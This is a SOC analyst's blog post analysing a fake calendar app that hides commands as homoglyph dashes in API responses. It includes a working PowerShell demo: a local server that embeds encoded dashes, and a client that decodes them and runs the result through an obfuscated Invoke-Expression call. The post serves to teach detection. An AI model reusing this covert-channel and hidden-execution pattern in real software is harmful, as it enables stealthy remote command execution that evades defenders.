====================
== Alert Overload ==
====================
Tales from a SOC analyst

Abusing homoglyphs to evade detection

Calendaromatic and Homoglyphs

I came across an interesting program yesterday. A user had downloaded a “calendar” application that had flagged our EDR product. I pulled the History file from the user’s browser, found the download URL, and grabbed a copy of it for analysis.

The binary came as a 7-Zip Self-Extracting Executable. Extracting it revealed it was a NeutralinoJS application. NeutralinoJS is a replacement/alternative to electron. It combines HTML, CSS, and JavaScript into a single webview 2 based desktop application. It also packs the code and resources into a .neu file that is bundled into the 7-Zip SFX. This means you can easily view the source code for any NeutralinoJS application without much work.

After extracting the scripts from the neu file, I found an article written on September 17th, 2025, detailing the same application. It’s really interesting, and is superior to any write up I could provide (GuidePoint Security).

In the write up, they discovered that the binary calls a seemingly normal and legitimate API endpoint called /api/calendar. Totally normal behavior for a calendar application, right? The responses appear legitimate, and the calendar application is using them to display holidays. Of course, there’s also the matter of the shell execution functions.

Calendaromatic is using a neat trick with homoglyphs, characters that visually appear identical, but have unique Unicode values. The API response includes these homoglyphs and processes them with a function that crafts commands based on the value mappings of the homoglyphs.

alt text

alt text

alt text

BTW, I totally stole these screenshots from GuidePoint Security.

The above function takes passed data, maps it to bits, and then collects those bits into a string that is executed via a call to the Function constructor.

It’s a neat trick, and one that isn’t too dificult to implement yourself. I also needed a fun topic for a Friday brief, so I went ahead and made the worlds laziest homoglyph demo.

There are three parts to this demo. The first file, homoglyph-ex, is a basic PowerShell HTTP server. It simply listens on 127.0.0.1:1234 and sends back a totally legitmate and normal response to requests. homoglyph-ex-client is the client portion, making a webrequest to homoglyph-ex and parsing the results. It will display the very normal and real response before displaying and executing the secret command hidden in the response content. homoglyph-ex-generator is a lazy generator for homoglyph strings. It got really annoying making them by hand.

Some caveats! I literally made this for a quick and dirty demo. It is not good. I cut a lot of corners. It does work though!

Also, for this attack vector, you would ideally place the homoglyphs in the response in such a way that it looks normal to a user. Maybe something like Server-Response-Object-Here or something. For the demo, I didn’t care enough to do that. You’d also likely have the data XOR’d, base64 encoded, or something like that.

Anyways, the code is available on my GitHub

I’ve also put it below with some screenshots.

Code

homoglyph-ex

<#


Start -> Server core load -> Listen on 1234 -> respond to valid GET with homoglyph payload

#>

function server-core(){
    $prefix = "http://127.0.0.1:1234/"
    $Server = New-Object System.Net.HttpListener
        foreach($x in [string[]] @($prefix)){
            $Server.Prefixes.Add($x)
        }
    $Server.Start()
    if(Get-NetTCPConnection -LocalPort 1234 -State Listen){
        Write-host "Server started succesfully" 
    }else{
        return "Error: Server is not running"
    }
     :Server While($Server){
        # Listen for requests
        $Context = $Server.GetContext()

        # Process request result
        foreach($Request in $Context.Request){
            $RequestDetails = @(
                    "LocalEndPoint: $($Request.LocalEndPoint)`n"
                    "URL: $($Request.Url)`n"
                    "UserAgent: $($Request.UserAgent)`n"
                    "HTTPMethod: $($Request.HttpMethod)`n"
                    "Headers: `n"
                    Foreach($header in $request.headers.AllKeys){
                        "`t$header | $($request.headers.GetValues($header))`n"
                    }
                    "Cookies: $($Request.Cookies)`n"
                    "InputStream: $($Request.InputStream)"
            )
            write-host $RequestDetails
        }     

        if($Context.Request.HttpMethod -ne "POST"){
            $ResponseString="Totally Normal Server Response. Nothing to see here. ––−-–-–−–—−––-−—–-–−−—-–––−−–-−—–—--–—−-–—–––-−-–-−-−—−−–—−-–—−––—-−–—−-−—-—–—–––-—−–—––"

            # Send response
            [byte[]] $Buffer = [System.Text.Encoding]::UTF8.GetBytes($ResponseString)
            $Context.Response.ContentLength64 = $Buffer.Length
            [System.IO.Stream] $Output = $Context.Response.OutputStream
            $Output.Write($Buffer,0,$Buffer.Length)
            $Output.Close()

        }else{
            $ResponseString="goodbye"

            # Send response
            [byte[]] $Buffer = [System.Text.Encoding]::UTF8.GetBytes($ResponseString)
            $Context.Response.ContentLength64 = $Buffer.Length
            [System.IO.Stream] $Output = $Context.Response.OutputStream
            $Output.Write($Buffer,0,$Buffer.Length)
            $Output.Close()
            return
        }
    }


}


server-core

homoglyph-ex-client

<#

Homoglyph API client 

minus = 00 = − = 226 136 146
en dash = 01 = – = 226 128 147
em dash = 10 = — = 226 128 148
hyphen = 11 = - = 45
01101000 01100101 01101100 01101100 01101111
–——−

We'll look for 146, 147, 148, and 45. Seens easier than dealing with conversions.
#>


function read-response(){
    $response = (iwr 127.0.0.1:1234 -Method GET).Content
    $SecretCommand=@()
    foreach($byte in $response){
        switch($byte){
            146 {
                $SecretCommand+="00"
            }
            147 {
                $SecretCommand+="01"
            }
            148 {
                $SecretCommand+="10"
            }
            45 {
                $SecretCommand+="11"
            }
            default {
                if([char]$byte -le 126){
                    $FakeMessage+=[char]$byte
                }
            }

        }
    }

    Write-host $FakeMessage
    if($SecretCommand){
        $SecretCommand = foreach($bin in $SecretCommand){
            [string]$value+=$bin.ToString()
            # Write-Host $value
            if($value.length -eq 8){
                # write-host $value
                [char][Convert]::ToInt32($value,2)
                [string]$value=""
            }
        }
        write "secret: $([string]::new($SecretCommand))"
        & ([String]::new(((gcm *v?k?-?x?re*).name))) $([string]::new($SecretCommand))
    }
}

read-response

Execution process

alt text

The server uses System.Net.HttpListener to spin up an HTTP server (See SimplePowerShellHTTPServer for more on this). This server listens on TCP port 1234 for incoming requests. If it receives a valid non-POST request, it returns a crafted string Totally Normal Server Response. Nothing to see here. ––−-–-–−–—−––-−—–-–−−—-–––−−–-−—–—--–—−-–—–––-−-–-−-−—−−–—−-–—−––—-−–—−-−—-—–—–––-—−–—––. This string has a series of homoglyphs representing binary values added at the end. In the real sample, these values are hidden throughout the response. However, for a simple demo, this suffices.

These homoglyphs are received and parsed by homoglyph-ex-client. The client script simply converts the received bytes to their equivalent binary values. These binary values are then operated on and converted into a string that is executed via a call to Invoke-Expression.

The packet data looks “legitimate” (if it was actually baked into the response and not tacked on at the end).

alt text

There’s nothing particularly alarming about seeing dashes in a response. Especially in the original sample which responded with JSON.

It’s an interesting technique, albeit one that doesn’t hold up to scrutiny.